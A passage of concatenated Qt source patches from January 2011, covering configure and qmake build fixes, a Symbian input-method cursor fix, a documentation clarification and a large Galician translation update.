Buddenhagen Date: Tue, 11 Jan 2011 13:28:40 +0100 Subject: make qtlibinfix apply to QT_INSTALL_TRANSLATIONS the unix configure already got it right Task-number: QTBUG-15978 Reviewed-by: Alessandro Portale Reviewed-by: mariusSO --- tools/configure/configureapp.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index c7df09d..d2be581 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -1031,6 +1031,8 @@ void Configure::parseCmdLine() QString("\\resource\\qt%1\\plugins").arg(dictionary[ "QT_LIBINFIX" ]); dictionary[ "QT_INSTALL_IMPORTS" ] = QString("\\resource\\qt%1\\imports").arg(dictionary[ "QT_LIBINFIX" ]); + dictionary[ "QT_INSTALL_TRANSLATIONS" ] = + QString("\\resource\\qt%1\\translations").arg(dictionary[ "QT_LIBINFIX" ]); } } else if (configCmdLine.at(i) == "-D") { ++i; -- cgit v0.12 From c8fb3f90cf3834a723ae76de95831995459ec94e Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Tue, 11 Jan 2011 13:46:36 +0100 Subject: don't ignore return code from syncqt Task-number: QTBUG-16176 Reviewed-by: mariusSO --- configure | 4 ++-- tools/configure/configureapp.cpp | 6 +++++- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/configure b/configure index a455ad3..6c50484 100755 --- a/configure +++ b/configure @@ -4524,9 +4524,9 @@ if [ -n "$PERL" ] && [ -x "$relpath/bin/syncqt" ]; then SYNCQT_OPTS= [ "$CFG_DEV" = "yes" ] && SYNCQT_OPTS="$SYNCQT_OPTS -check-includes" if [ "$OPT_SHADOW" = "yes" ]; then - "$outpath/bin/syncqt" $SYNCQT_OPTS + "$outpath/bin/syncqt" $SYNCQT_OPTS || exit 1 elif [ "$CFG_DEV" = "yes" ] || [ ! -d $relpath/include ] || [ -d $relpath/.git ]; then - QTDIR="$relpath" perl "$outpath/bin/syncqt" $SYNCQT_OPTS + QTDIR="$relpath" perl "$outpath/bin/syncqt" $SYNCQT_OPTS || exit 1 fi fi diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index d2be581..8fa03ab 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -3578,7 +3578,11 @@ void Configure::generateHeaders() QStringList env; env += QString("QTDIR=" + sourcePath); env += QString("PATH=" + buildPath + "/bin/;" + qgetenv("PATH")); - Environment::execute(args, env, QStringList()); + int retc = Environment::execute(args, env, QStringList()); + if (retc) { + cout << "syncqt failed, return code " << retc << endl << endl; + dictionary["DONE"] = "error"; + } } } -- cgit v0.12 From b7a1c07025aa6896f6b6482feb2df7fbc00f4d32 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Thu, 13 Jan 2011 19:53:39 +0100 Subject: make sure Option::dir_sep is initialized in time querying $$DIR_SEPARATOR (possibly indirectly via $$QMAKE_DIR_SEP) may happen before querying any os scopes, so better make it initialize the host mode explicitly. loading features theoretically needs an initialized dir_sep as well (to detect relative paths), so take care of that as well. Task-number: QTBUG-10633 Reviewed-by: mariusSO --- qmake/project.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/qmake/project.cpp b/qmake/project.cpp index 2cf7393..8d8d9e0 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -1642,6 +1642,7 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap Date: Mon, 17 Jan 2011 12:44:06 +0000 Subject: Fix header not found build error Task-Number: QT-4378 --- src/network/access/qnetworkaccessmanager.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index 6b8dc9e..ea18367 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -48,7 +48,7 @@ #include "qabstractnetworkcache.h" #include "QtNetwork/qnetworksession.h" -#include "qsharednetworksession_p.h" +#include "QtNetwork/private/qsharednetworksession_p.h" #include "qnetworkaccesshttpbackend_p.h" #include "qnetworkaccessftpbackend_p.h" -- cgit v0.12 From 1b6656ea26d2a82a8763e8f3759b0ac683fca57a Mon Sep 17 00:00:00 2001 From: Jeremy Katz Date: Mon, 17 Jan 2011 14:37:17 +0100 Subject: Implementation of QNetworkProxyFactory::systemProxyForQuery() for Symbian This implementation replaces the default do-nothing version, querying the device's commsdat for appropriate entries. Task-number: QTBUG-13857 Reviewed by: Jeremy Katz et al. --- dist/changes-4.7.2 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2 index d443d88..0d93052 100644 --- a/dist/changes-4.7.2 +++ b/dist/changes-4.7.2 @@ -133,6 +133,10 @@ Qt for Symbian * [QTBUG-11436] Added a MediaObject property which allows the client to specify which Internet Access Point should be used for streaming. + - QNetworkProxyFactory + * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing + network proxies configured on the device to be used by applications. + Qt for Embedded Linux --------------------- -- cgit v0.12 From 81351f2c6f9a939e4c34cb3be6280d396c21941f Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Mon, 17 Jan 2011 15:44:44 +0200 Subject: Fix one character displacement for cursor in line edits The variable m_inlinePosition was not updated when m_preeditString was cleared in QCoeFepInputContext. This resulted in cursor displaying up one character beyond where it logically should have been when using HW Qwerty keyboard on E7 and similar devices. Task-number: QTBUG-16238 Reviewed-by: axis --- src/gui/inputmethod/qcoefepinputcontext_s60.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/inputmethod/qcoefepinputcontext_s60.cpp b/src/gui/inputmethod/qcoefepinputcontext_s60.cpp index ff199b1..1bef64d 100644 --- a/src/gui/inputmethod/qcoefepinputcontext_s60.cpp +++ b/src/gui/inputmethod/qcoefepinputcontext_s60.cpp @@ -706,6 +706,7 @@ void QCoeFepInputContext::CancelFepInlineEdit() QInputMethodEvent event(QLatin1String(""), attributes); event.setCommitString(QLatin1String(""), 0, 0); m_preeditString.clear(); + m_inlinePosition = 0; sendEvent(event); } @@ -853,6 +854,7 @@ void QCoeFepInputContext::commitCurrentString(bool cancelFepTransaction) QInputMethodEvent event(QLatin1String(""), attributes); event.setCommitString(m_preeditString, 0, 0); m_preeditString.clear(); + m_inlinePosition = 0; sendEvent(event); m_hasTempPreeditString = false; -- cgit v0.12 From 500b76e801bf82d1a473641a3746b3d5adab5beb Mon Sep 17 00:00:00 2001 From: Konstantin Tokarev Date: Mon, 17 Jan 2011 15:14:56 +0100 Subject: don't misdetect powermac host systems when determining target arch Task-number: QTBUG-6150 Merge-request: 2549 Reviewed-by: Oswald Buddenhagen --- mkspecs/features/mac/default_post.prf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mkspecs/features/mac/default_post.prf b/mkspecs/features/mac/default_post.prf index 4999762..273094d 100644 --- a/mkspecs/features/mac/default_post.prf +++ b/mkspecs/features/mac/default_post.prf @@ -7,7 +7,7 @@ load(default_post) # PowerPC-based systems. Note that this logic assumes that Qt has been # configured with an architecture that is usable on the system. qt:!isEmpty(QT_CONFIG) { - contains(QMAKE_HOST.arch, ppc) { + contains(QMAKE_HOST.arch, ppc)|contains(QMAKE_HOST.arch, "Power Macintosh") { !contains(QT_CONFIG, ppc64):contains(QT_CONFIG, ppc):CONFIG += ppc contains(QT_CONFIG, ppc64):!contains(QT_CONFIG, ppc):CONFIG += ppc64 } else { -- cgit v0.12 From 14f908687edd09664bc7909ef7a0bdd071456402 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 15:32:06 +0100 Subject: Doc: Clarified the use of qUncompress(). Task-number: QTBUG-16671 --- src/corelib/tools/qbytearray.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp index b1bac9d..568293d 100644 --- a/src/corelib/tools/qbytearray.cpp +++ b/src/corelib/tools/qbytearray.cpp @@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) #endif /*! - \fn QByteArray qUncompress(const QByteArray& data) + \fn QByteArray qUncompress(const QByteArray &data) \relates QByteArray @@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) feature was added. \bold{Note:} If you want to use this function to uncompress external - data compressed using zlib, you first need to prepend four bytes to the - byte array that contain the expected length (as an unsigned integer) - of the uncompressed data encoded in big-endian order (most significant - byte first). + data that was compressed using zlib, you first need to prepend a four + byte header to the byte array containing the data. The header must + contain the expected length (in bytes) of the uncompressed data, + expressed as an unsigned, big-endian, 32-bit integer. \sa qCompress() */ -- cgit v0.12 From 7a7c36d80c1f84ca493c29bf8d4e0bd447740b8d Mon Sep 17 00:00:00 2001 From: marce villarino Date: Mon, 17 Jan 2011 15:44:44 +0100 Subject: Updates to Galician localization Merge-request: 1024 Reviewed-by: Oswald Buddenhagen --- translations/qt_gl.ts | 2862 ++++++++++++++++++++++---------------------- translations/qt_help_gl.ts | 320 +++++ 2 files changed, 1749 insertions(+), 1433 deletions(-) create mode 100644 translations/qt_help_gl.ts diff --git a/translations/qt_gl.ts b/translations/qt_gl.ts index 1f3e02e..23e71c2 100644 --- a/translations/qt_gl.ts +++ b/translations/qt_gl.ts @@ -5,7 +5,7 @@ CloseButton Close Tab - Pechar a lingüeta + Pechar a lapela @@ -51,30 +51,6 @@ - QApplication - - QT_LAYOUT_DIRECTION - Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout. - LTR - - - Activate - Activar - - - Activates the program's main window - Activa a fiestra principal do programa - - - Executable '%1' requires Qt %2, found Qt %3. - O executábel «%1» require de Qt %2, e achouse Qt %3. - - - Incompatible Qt Library Error - Erro de bibliotecas Qt incompatíbeis - - - Phonon:: Notifications @@ -134,7 +110,7 @@ máis preferencia ou está configurado especificamente para este fluxo.</html Warning: You do not seem to have the base GStreamer plugins installed. All audio and video support has been disabled - Aviso: Non semella ter instaladas as extensións básicas de GStreamer. + Aviso: Non semella ter instalados os complementos básicos de GStreamer. Desactivouse todo o soporte de son e vídeo @@ -155,7 +131,7 @@ Comprobe a instalación de GStreamer e verifique que ten instalado libgstreamer- Plugin codec installation failed for codec: %0 - Fallou a instalación da extensión dun códec: %0 + Fallou a instalación do complemento dun códec: %0 A required codec is missing. You need to install the following codec(s) to play this content: %0 @@ -172,7 +148,7 @@ reproducir este contido: %0 Could not locate media source. - Non foi posíbel localizar a orixe do medio. + Non foi posíbel atopar a orixe do medio. Could not open audio device. The device is already in use. @@ -223,7 +199,7 @@ reproducir este contido: %0 Path not found - Non se atopou a rota + Non se atopou a ruta In use @@ -348,6 +324,10 @@ reproducir este contido: %0 Playback complete Completouse a reprodución + + Download error + + Phonon::MMF::AbstractVideoPlayer @@ -467,6 +447,10 @@ reproducir este contido: %0 Error opening source: media type could not be determined Erro ao abrir a fonte: non foi posíbel determinar o tipo de medio + + Failed to set requested IAP + + Phonon::MMF::StereoWidening @@ -752,7 +736,7 @@ reproducir este contido: %0 Find Directory - Procurar un cartafol + Buscar un cartafol Directories @@ -772,7 +756,7 @@ File not found. Check path and filename. %1 Non se atopou o ficheiro. -Verifique a rota e o nome do ficheiro. +Verifique a ruta e o nome do ficheiro. All Files (*.*) @@ -936,31 +920,31 @@ para Contains commands to manipulate the window - Contén ordes para manipular a fiestra + Contén ordes para manipular a xanela Puts a minimized window back to normal - Volta unha fiestra minimizada ao tamaño normal + Volta unha xanela minimizada ao tamaño normal Moves the window out of the way - Vota a un lado a fiestra + Vota a un lado a xanela Puts a maximized window back to normal - Volta unha fiestra maximizada ao tamaño normal + Volta unha xanela maximizada ao tamaño normal Makes the window full screen - Pon a fiestra a pantalla completa + Pon a xanela a pantalla completa Closes the window - Pecha a fiestra + Pecha a xanela Displays the name of the window and contains controls to manipulate it - Mostra o nome da fiestra e contén controles para manipulala + Mostra o nome da xanela e contén controles para manipulala @@ -1064,176 +1048,6 @@ para - QHttp - - Connection refused - Rexeitouse a conexión - - - Connection closed - Pechouse a conexión - - - Proxy requires authentication - O proxy require autenticación - - - Host requires authentication - O servidor require autenticación - - - Data corrupted - Datos corrompidos - - - Unknown protocol specified - Especificouse un protocolo descoñecido - - - SSL handshake failed - Fallou a negociación de SSL - - - HTTPS connection requested but SSL support not compiled in - Pediuse unha conexión HTTPS pero non se compilou con soporte de SSL - - - Unknown error - Erro descoñecido - - - Request aborted - Pedido abortado - - - No server set to connect to - Non se indicou ningún servidor co que conectar - - - Wrong content length - Longitude do contido incorrecta - - - Server closed connection unexpectedly - O servidor pechou a conexión inesperadamente - - - Connection refused (or timed out) - Rexeitouse a conexión (ou esgouto o tempo-límite) - - - Host %1 not found - Non se atopou o servidor %1 - - - HTTP request failed - O pedido HTTP fallou - - - Invalid HTTP response header - A cabeceira da resposta HTTP non é válida - - - Unknown authentication method - Método descoñecido de autenticación - - - Proxy authentication required - Requírese de autenticación no proxy - - - Authentication required - Requírese de autenticación - - - Invalid HTTP chunked body - Corpo HTTP en pedazos non válido - - - Error writing response to device - Erro ao escribir a resposta no dispositivo - - - Host %1 found - Atopouse o servidor %1 - - - Connected to host %1 - Conectado co servidor %1 - - - Connection to %1 closed - Pechouse a conexión con %1 - - - Host found - Atopouse un servidor - - - Connected to host - Conectado co servidor - - - - QSocks5SocketEngine - - Connection to proxy refused - A conexión co proxy foi rexeitada - - - Connection to proxy closed prematurely - A conexión co proxy pechouse antes de tempo - - - Proxy host not found - Non se atopou o servidor proxy - - - Connection to proxy timed out - A conexión co proxy esgotou o tempo-límite - - - Proxy authentication failed - Fallou a autenticación co proxy - - - Proxy authentication failed: %1 - Fallou a autenticación no proxy: %1 - - - SOCKS version 5 protocol error - Erro do protocolo SOCKS versión 5 - - - General SOCKSv5 server failure - Fallo xeral do servidor SOCKSv5 - - - Connection not allowed by SOCKSv5 server - O servidor SOCKSv5 non permitiu a conexión - - - TTL expired - Esgotouse o TTL - - - SOCKSv5 command not supported - A orde SOCKSv5 non está soportada - - - Address type not supported - Tipo de enderezo non soportado - - - Unknown SOCKSv5 proxy error code 0x%1 - Código de erro descoñecido (0x%1) do proxy SOCKSv5 - - - Network operation timed out - A operación de rede esgotou o tempo-límite - - - QAbstractSpinBox &Select All @@ -1256,43 +1070,27 @@ para - QCheckBox - - Uncheck - Desmarcar - - - Check - Marcar - + QApplication - Toggle - Conmutar + QT_LAYOUT_DIRECTION + Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout. + LTR - - - QPushButton - Open - Abrir + Activate + Activar - - - QRadioButton - Check - Marcar + Activates the program's main window + Activa a xanela principal do programa - - - QToolButton - Press - Premer + Executable '%1' requires Qt %2, found Qt %3. + O executábel «%1» require de Qt %2, e atopouse Qt %3. - Open - Abrir + Incompatible Qt Library Error + Erro de bibliotecas Qt incompatíbeis @@ -1315,6 +1113,21 @@ para + QCheckBox + + Uncheck + Desmarcar + + + Check + Marcar + + + Toggle + Conmutar + + + QColorDialog Hu&e: @@ -1381,22 +1194,11 @@ para - QTabBar + QCoreApplication - Scroll Left - Desprazar cara a esquerda - - - Scroll Right - Desprazar cara a dereita - - - - QCoreApplication - - %1: already exists - QSystemSemaphore - %1: xa existe + %1: already exists + QSystemSemaphore + %1: xa existe %1: does not exist @@ -1409,6 +1211,11 @@ para %1: esgotou os recursos + %1: permission denied + QSystemSemaphore + %1: negouse o permiso + + %1: unknown error %2 QSystemSemaphore %1: erro descoñecido %2 @@ -1430,29 +1237,6 @@ para - QSystemSemaphore - - %1: permission denied - %1: negouse o permiso - - - %1: already exists - %1: xa existe - - - %1: does not exist - %1: non existe - - - %1: out of resources - %1: esgotou os recursos - - - %1: unknown error %2 - %1: erro descoñecido %2 - - - QDB2Driver Unable to connect @@ -1499,46 +1283,6 @@ para - QODBCResult - - Unable to fetch last - Non foi posíbel acadar o último - - - QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration - QODBCResult::reset: Non foi posíbel estabelecer «SQL_CURSOR_STATIC» como -atributo da sentenza. Verifique a configuración do controlador ODBC - - - Unable to execute statement - Non foi posíbel executar a sentenza - - - Unable to fetch - Non foi posíbel acadar - - - Unable to fetch next - Non foi posíbel acadar o seguinte - - - Unable to fetch first - Non foi posíbel acadar o primeiro - - - Unable to fetch previous - Non foi posíbel acadar o anterior - - - Unable to prepare statement - Non foi posíbel preparar a sentenza - - - Unable to bind variable - Non foi posíbel asociar a variábel - - - QDateTimeEdit AM @@ -1561,11 +1305,11 @@ atributo da sentenza. Verifique a configuración do controlador ODBCQDeclarativeAbstractAnimation Cannot animate non-existent property "%1" - Non se pode animar a propriedade inexistente «%1» + Non se pode animar a propiedade inexistente «%1» Cannot animate read-only property "%1" - Non se pode animar a propriedade só para lectura «%1» + Non se pode animar a propiedade só para lectura «%1» Animation is an abstract class @@ -1580,42 +1324,6 @@ atributo da sentenza. Verifique a configuración do controlador ODBC - QDeclarativeParentAnimation - - Unable to preserve appearance under complex transform - Non é posíbel conservar a aparencia con transformación complexa - - - Unable to preserve appearance under non-uniform scale - Non é posíbel conservar a aparencia con escalado non uniforme - - - Unable to preserve appearance under scale of 0 - Non é posíbel conservar a aparencia con escala de 0 - - - - QDeclarativePauseAnimation - - Cannot set a duration of < 0 - Non se pode indicar unha duración < 0 - - - - QDeclarativePropertyAnimation - - Cannot set a duration of < 0 - Non se pode indicar unha duración < 0 - - - - QDeclarativeXmlListModel - - Qt was built without support for xmlpatterns - Qt construíuse sen soporte para xmlpatterns - - - QDeclarativeAnchors Possible anchor loop detected on fill. @@ -1675,20 +1383,6 @@ superior, inferior nin vcenter. - QDeclarativeKeyNavigationAttached - - KeyNavigation is only available via attached properties - KeyNavigation só está dispoñíbel mediante as propriedades anexadas - - - - QDeclarativeKeysAttached - - Keys is only available via attached properties - Keys só está dispoñíbel mediante as propriedades anexadas - - - QDeclarativeBehavior Cannot change the animation assigned to a Behavior. @@ -1699,85 +1393,85 @@ superior, inferior nin vcenter. QDeclarativeBinding Binding loop detected for property "%1" - Detectouse un ciclo de unión para a propriedade «%1» + Detectouse un ciclo de unión para a propiedade «%1» QDeclarativeCompiledBindings Binding loop detected for property "%1" - Detectouse un ciclo de unión para a propriedade «%1» + Detectouse un ciclo de unión para a propiedade «%1» QDeclarativeCompiler Invalid property assignment: "%1" is a read-only property - Asignación de propriedade non válida: «%1» é unha propriedade só para lectura + Asignación de propiedade non válida: «%1» é unha propiedade só para lectura Invalid property assignment: unknown enumeration - Asignación de propriedade non válida: enumeración descoñecida + Asignación de propiedade non válida: enumeración descoñecida Invalid property assignment: string expected - Asignación de propriedade non válida: agardábase unha cadea + Asignación de propiedade non válida: agardábase unha cadea Invalid property assignment: url expected - Asignación de propriedade non válida: agardábase un URL + Asignación de propiedade non válida: agardábase un URL Invalid property assignment: unsigned int expected - Asignación de propriedade non válida: agardábase un unsigned int + Asignación de propiedade non válida: agardábase un unsigned int Invalid property assignment: int expected - Asignación de propriedade non válida: agardábase un int + Asignación de propiedade non válida: agardábase un int Invalid property assignment: number expected - Asignación de propriedade non válida: agardábase un número + Asignación de propiedade non válida: agardábase un número Invalid property assignment: color expected - Asignación de propriedade non válida: agardábase unha cor + Asignación de propiedade non válida: agardábase unha cor Invalid property assignment: date expected - Asignación de propriedade non válida: agardábase unha date + Asignación de propiedade non válida: agardábase unha date Invalid property assignment: time expected - Asignación de propriedade non válida: agardábase un time + Asignación de propiedade non válida: agardábase un time Invalid property assignment: datetime expected - Asignación de propriedade non válida: agardábase un datetime + Asignación de propiedade non válida: agardábase un datetime Invalid property assignment: point expected - Asignación de propriedade non válida: agardábase un punto + Asignación de propiedade non válida: agardábase un punto Invalid property assignment: size expected - Asignación de propriedade non válida: agardábase un tamaño + Asignación de propiedade non válida: agardábase un tamaño Invalid property assignment: rect expected - Asignación de propriedade non válida: agardábase un rect + Asignación de propiedade non válida: agardábase un rect Invalid property assignment: boolean expected - Asignación de propriedade non válida: agardábase un booleano + Asignación de propiedade non válida: agardábase un booleano Invalid property assignment: 3D vector expected - Asignación de propriedade non válida: agardábase un vector 3D + Asignación de propiedade non válida: agardábase un vector 3D Invalid property assignment: unsupported type "%1" - Asignación de propriedade non válida: tipo non soportado «%1» + Asignación de propiedade non válida: tipo non soportado «%1» Element is not creatable. @@ -1785,7 +1479,7 @@ superior, inferior nin vcenter. Component elements may not contain properties other than id - Os elementos compoñentes non poden conter máis propriedades que o id + Os elementos compoñentes non poden conter máis propiedades que o id Invalid component id specification @@ -1801,7 +1495,7 @@ superior, inferior nin vcenter. Component objects cannot declare new properties. - Os obxectos compoñentes non poden declarar novas propriedades. + Os obxectos compoñentes non poden declarar novas propiedades. Component objects cannot declare new signals. @@ -1829,15 +1523,15 @@ superior, inferior nin vcenter. Empty property assignment - Asignación baleira de propriedade + Asignación baleira de propiedade Attached properties cannot be used here - As propriedades anexas non se poden empregar aquí + As propiedades anexas non se poden empregar aquí Non-existent attached object - Anexáronse propriedades inexistentes + Anexáronse propiedades inexistentes Invalid attached object assignment @@ -1845,11 +1539,11 @@ superior, inferior nin vcenter. Cannot assign to non-existent default property - Non se pode asignar a unha propriedade predeterminada inexistente + Non se pode asignar a unha propiedade predeterminada inexistente Cannot assign to non-existent property "%1" - Non se pode asignar a unha propriedade inexistente «%1» + Non se pode asignar a unha propiedade inexistente «%1» Invalid use of namespace @@ -1857,35 +1551,35 @@ superior, inferior nin vcenter. Not an attached property name - Non é un nome de propriedade anexa + Non é un nome de propiedade anexa Invalid use of id property - Uso non válido da propriedade id + Uso non válido da propiedade id Property has already been assigned a value - Xa se lle asignou un valor a esta propriedade + Xa se lle asignou un valor a esta propiedade Invalid grouped property access - Acceso non válido a unha propriedade agrupada + Acceso non válido a unha propiedade agrupada Cannot assign a value directly to a grouped property - Non se pode asignar directamente un valor a unha propriedade agrupada + Non se pode asignar directamente un valor a unha propiedade agrupada Invalid property use - Uso non válido da propriedade + Uso non válido da propiedade Property assignment expected - Agardábase unha asignación de propriedade + Agardábase unha asignación de propiedade Single property assignment expected - Agardábase unha única asignación a propriedade + Agardábase unha única asignación a propiedade Unexpected object assignment @@ -1905,15 +1599,19 @@ superior, inferior nin vcenter. Cannot assign multiple values to a script property - Non se poden asignar varios valores a unha propriedade de script + Non se poden asignar varios valores a unha propiedade de script Invalid property assignment: script expected - Asignación de propriedade non válida: agardábase un script + Asignación de propiedade non válida: agardábase un script + + + Cannot assign multiple values to a singular property + Cannot assign object to property - Non se pode asignar un obxecto a unha propriedade + Non se pode asignar un obxecto a unha propiedade "%1" cannot operate on "%2" @@ -1921,19 +1619,19 @@ superior, inferior nin vcenter. Duplicate default property - Propriedade predeterminada duplicada + Propiedade predeterminada duplicada Duplicate property name - Nome de propriedade duplicado + Nome de propiedade duplicado Property names cannot begin with an upper case letter - Os nomes das propriedades non poden comezar por maiúscula + Os nomes das propiedades non poden comezar por maiúscula Illegal property name - Nome ilegal de propriedade + Nome ilegal de propiedade Duplicate signal name @@ -1961,19 +1659,19 @@ superior, inferior nin vcenter. Property value set multiple times - O valor dunha propriedade indicouse varias veces + O valor dunha propiedade indicouse varias veces Invalid property nesting - Aniñamento non válido de propriedade + Aniñamento non válido de propiedade Cannot override FINAL property - Non se pode sobrescribir a propriedade FINAL + Non se pode sobrescribir a propiedade FINAL Invalid property type - Tipo de propriedade non válido + Tipo de propiedade non válido Invalid empty ID @@ -1993,23 +1691,31 @@ superior, inferior nin vcenter. ID illegally masks global JavaScript property - O ID enmascara ilegalmente unha propriedade JavaScript global + O ID enmascara ilegalmente unha propiedade JavaScript global No property alias location - Falta a localización dun alcume dunha propriedade + Falta a localización dun alcume dunha propiedade Invalid alias location Localización non válida dun alcume + Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property> + + + + Alias property exceeds alias bounds + + + Invalid alias reference. An alias reference must be specified as <id> or <id>.<property> - Referencianon válida a un alcume. Unha referencia a un alcume debe indicarse como <id> ou como <id>.<propriedade> + Referencia non válida a un alcume. Unha referencia a un alcume debe indicarse como <id> ou como <id>.<propiedade> Invalid alias reference. Unable to find id "%1" - Referencia non válida a un alcume. Non foi posíbel achar o id «%1» + Referencia non válida a un alcume. Non foi posíbel atopar o id «%1» @@ -2023,26 +1729,26 @@ superior, inferior nin vcenter. QDeclarativeCompositeTypeManager Resource %1 unavailable - O recurso %1 non está dispoñíbel + O recurso %1 non está dispoñíbel Namespace %1 cannot be used as a type - O espazo de nomes %1 non se pode empregar como un tipo + O espazo de nomes %1 non se pode empregar como un tipo %1 %2 - %1 %2 + %1 %2 Type %1 unavailable - O tipo %1 non está dispoñíbel + O tipo %1 non está dispoñíbel QDeclarativeConnections Cannot assign to non-existent property "%1" - Non é posíbel asignar a unha propriedade non existente «%1» + Non é posíbel asignar a unha propiedade non existente «%1» Connections: nested objects not allowed @@ -2069,7 +1775,7 @@ superior, inferior nin vcenter. Version mismatch: expected %1, found %2 - Non se corresponden as versións: agardábase a %1 pero achouse a %2 + Non se corresponden as versións: agardábase a %1 pero atopouse a %2 SQL transaction failed @@ -2088,26 +1794,30 @@ superior, inferior nin vcenter. QDeclarativeFlipable front is a write-once property - front é unha propriedade só para escrita + front é unha propiedade só para escrita back is a write-once property - bach é unha propriedade só para escrita + back é unha propiedade só para escrita QDeclarativeImportDatabase + cannot load module "%1": File name case mismatch for "%2" + + + module "%1" definition "%2" not readable a definición «%2» no módulo «%1» non é lexíbel plugin cannot be loaded for module "%1": %2 - non foi posíbel cargar a extensión para o módulo «%1»: %2 + non foi posíbel cargar o complemento para o módulo «%1»: %2 module "%1" plugin "%2" not found - non se atopou a extensión «%2» do módulo «%1» + non se atopou o complemento «%2» do módulo «%1» module "%1" version %2.%3 is not installed @@ -2139,7 +1849,7 @@ superior, inferior nin vcenter. is ambiguous. Found in %1 and in %2 - é ambíguo. Atopouse en %1 e en %2 + é ambiguo. Atopouse en %1 e en %2 is ambiguous. Found in %1 in version %2.%3 and %4.%5 @@ -2153,6 +1863,24 @@ superior, inferior nin vcenter. is not a type non é un tipo + + File name case mismatch for "%2" + + + + + QDeclarativeKeyNavigationAttached + + KeyNavigation is only available via attached properties + KeyNavigation só está dispoñíbel mediante as propiedades anexadas + + + + QDeclarativeKeysAttached + + Keys is only available via attached properties + Keys só está dispoñíbel mediante as propiedades anexadas + QDeclarativeListModel @@ -2190,15 +1918,15 @@ superior, inferior nin vcenter. ListElement: cannot use reserved "id" property - Elemento de lista: non pode empregar a propriedade «id» porque está reservada + Elemento de lista: non pode empregar a propiedade «id» porque está reservada ListElement: cannot use script for property value - Elemento de lista: non pode empregar script como valor de propriedade + Elemento de lista: non pode empregar script como valor de propiedade ListModel: undefined property '%1' - Modelo de lista: a propriedade «%1» non está definida + Modelo de lista: a propiedade «%1» non está definida @@ -2209,6 +1937,21 @@ superior, inferior nin vcenter. + QDeclarativeParentAnimation + + Unable to preserve appearance under complex transform + Non é posíbel conservar a aparencia con transformación complexa + + + Unable to preserve appearance under non-uniform scale + Non é posíbel conservar a aparencia con escalado non uniforme + + + Unable to preserve appearance under scale of 0 + Non é posíbel conservar a aparencia con escala de 0 + + + QDeclarativeParentChange Unable to preserve appearance under complex transform @@ -2231,13 +1974,17 @@ superior, inferior nin vcenter. Illegal character - Caracter ilegal + Carácter ilegal Unclosed string at end of line Cadea non pechada no fin dunha liña + Illegal escape squence + Secuencia de escape ilegal + + Illegal escape sequence Secuencia de escape ilegal @@ -2263,7 +2010,7 @@ superior, inferior nin vcenter. Unterminated regular expression backslash sequence - Secuencia de expresión regular non terminda con contrabarra + Secuencia de expresión regular non terminada con contrabarra Unterminated regular expression class @@ -2283,7 +2030,7 @@ superior, inferior nin vcenter. Property value set multiple times - O valor da propriedade estabeleceuse varias veces + O valor da propiedade estabeleceuse varias veces Expected type name @@ -2291,19 +2038,19 @@ superior, inferior nin vcenter. Invalid import qualifier ID - ID do calificador de importación non válido + ID do cualificador de importación non válido Reserved name "Qt" cannot be used as an qualifier - O nome reservado «Qt» non se pode empregar como calificador + O nome reservado «Qt» non se pode empregar como cualificador Script import qualifiers must be unique. - Os calificadores de importación de script deben ser únicos. + Os cualificadores de importación de script deben ser únicos. Script import requires a qualifier - A importación de script require dun calificador + A importación de script require dun cualificador Library import requires a version @@ -2315,19 +2062,19 @@ superior, inferior nin vcenter. Invalid property type modifier - Modificador de tipo da propriedade non válido + Modificador de tipo da propiedade non válido Unexpected property type modifier - Modificador do tipo da propriedade non agardado + Modificador do tipo da propiedade non agardado Expected property type - Agardábase o tipo dunha propriedade + Agardábase o tipo dunha propiedade Readonly not yet supported - Aínda non se soporta o só para leitura + Aínda non se soporta o só para lectura JavaScript declaration outside Script element @@ -2335,6 +2082,13 @@ superior, inferior nin vcenter. + QDeclarativePauseAnimation + + Cannot set a duration of < 0 + Non se pode indicar unha duración < 0 + + + QDeclarativePixmap Error decoding: %1: %2 @@ -2350,6 +2104,13 @@ superior, inferior nin vcenter. + QDeclarativePropertyAnimation + + Cannot set a duration of < 0 + Non se pode indicar unha duración < 0 + + + QDeclarativePropertyChanges PropertyChanges does not support creating state-specific objects. @@ -2357,11 +2118,11 @@ superior, inferior nin vcenter. Cannot assign to non-existent property "%1" - Non é posíbel asignar á propriedade inexistente «%1» + Non é posíbel asignar á propiedade inexistente «%1» Cannot assign to read-only property "%1" - Non é posíbel asignar a unha propriedade só para lectura «%1» + Non é posíbel asignar a unha propiedade só para lectura «%1» @@ -2376,6 +2137,25 @@ superior, inferior 